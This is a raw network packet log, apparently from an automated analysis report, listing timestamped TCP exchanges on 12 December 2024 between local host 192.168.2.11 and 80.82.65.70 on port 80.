                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.929811954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.929855108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.929908991 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.930574894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.930627108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.930669069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.930711031 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.931346893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.931416035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.931521893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.931569099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.932153940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.932162046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.932219028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.932915926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.932965994 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.933005095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.933052063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.933667898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.933742046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.933772087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.933803082 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.934510946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.934601068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.934623957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.934681892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.935272932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.935342073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.935415030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.935488939 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.936044931 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.936110020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.936153889 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.936206102 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.936939955 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.936992884 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.937074900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.937143087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.937556982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.937608957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.937635899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.937690020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.938355923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.938404083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.938452959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.938504934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.939162016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.939244032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.939275980 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.939344883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.939925909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.939987898 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.940048933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.940103054 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.940695047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.940757036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.940757990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.940835953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.003963947 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.004024029 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.004036903 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.004129887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.004312992 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.004437923 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.004462957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.004513979 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.005116940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.005165100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.005249023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.005297899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.005902052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.005964994 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.006128073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.006226063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.006661892 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.006720066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.006722927 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.006779909 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.007462978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.007534027 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.007575035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.007663012 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.008239985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.008306026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.008347988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.008404016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.009002924 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.009097099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.009130955 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.009210110 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.009809971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.009901047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.009922028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.009953976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.010552883 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.010654926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.010701895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.010808945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.011356115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.011440992 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.011470079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.011535883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.012144089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.012207985 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.012254000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.012307882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.012921095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.012989044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.013027906 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.013084888 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.013755083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.013794899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.013843060 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.013896942 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.014520884 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.014589071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.014621973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.014672995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.015290022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.015347004 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.015476942 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.015527010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.016072989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.016129971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.016175985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.016228914 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.016868114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.016916037 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.016976118 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.017627954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.017679930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.017745018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.017795086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.018470049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.018527985 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.018565893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.018625021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.019251108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.019344091 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.019423962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.019491911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.020009995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.020112991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.020114899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.020165920 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.020803928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.020819902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.020852089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.020884037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.021562099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.021615028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.021657944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.021712065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.022335052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.022386074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.022515059 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.022569895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.023113012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.023170948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.023188114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.023243904 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.023897886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.023953915 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.024075985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.024125099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.024698973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.024771929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.024966002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.025016069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.025499105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.025553942 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.025597095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.025649071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.026355982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.026395082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.026408911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.026472092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.081820011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.081882000 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.081926107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.081974983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.082279921 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.082334042 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.082371950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.082436085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.083039045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.083092928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.083139896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.083189011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.083760023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.083812952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.118607044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.118670940 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.118746042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.118789911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.118880033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.118886948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.118933916 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.119784117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.119848967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.119851112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.119915009 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.120434999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.120522022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.120543957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.120618105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.121206999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.121264935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.121324062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.121395111 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.121987104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.122050047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.122056007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.122174025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.122833967 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.122898102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.122901917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.122946978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.123620033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.123682976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.123684883 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.123737097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.124311924 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.124355078 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.124430895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.124504089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.125107050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.125159025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.125205994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.125272036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.125936985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.125992060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.126068115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.126117945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.126671076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.126740932 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.126815081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.126853943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.127441883 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.127485991 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.127518892 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.127557993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.128220081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.128269911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.128343105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.128408909 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.128995895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.129055023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.129169941 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.129214048 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.129787922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.129848003 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.129889965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.129940987 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.130589008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.130637884 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.130677938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.130727053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.131370068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.131423950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.131541014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.131587982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.132148027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.132195950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.132205009 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.132266045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.132932901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.132997036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.133074999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.133114100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.196154118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.196227074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.196254015 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.196358919 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.196389914 CET804981980.82.65.70192.168.2.11
